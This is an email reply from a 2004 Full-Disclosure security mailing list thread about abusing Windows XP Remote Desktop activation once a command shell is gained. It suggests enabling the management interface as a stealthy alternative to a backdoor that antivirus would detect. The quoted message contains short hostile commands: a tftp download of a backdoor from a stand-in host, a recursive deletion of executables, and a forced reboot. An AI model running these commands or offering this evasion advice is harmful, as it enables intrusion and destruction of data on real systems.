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From: joel at (Joel R. Helgeson)
Subject: XP Remote Desktop Remote Activation

If someone installs a backdoor, that can be detected by AV scanner.  If you 
gain temporary shell, open up the management interface, you'll have full 
control of the box without anyone becoming the wiser.

Joel R. Helgeson
Director of Networking & Security Services
SymetriQ Corporation

"Give a man fire, and he'll be warm for a day; set a man on fire, and he'll 
be warm for the rest of his life."
----- Original Message ----- 
From: "morning_wood" <>
To: "Fixer" <>; <>
Sent: Saturday, October 02, 2004 11:05 AM
Subject: Re: [Full-Disclosure] XP Remote Desktop Remote Activation

>> a malicious user who has already gained a command shell to activate
> umm... you already own the box.
> try...
> tftp -i yourhost get evilbackdoor.exe ( vnc mabey )
> or
> c:\del *.exe /s
> c:\shutdown -r
> I realy do not see the SECURITY ISSUE here.
> cheers,
> m.wood
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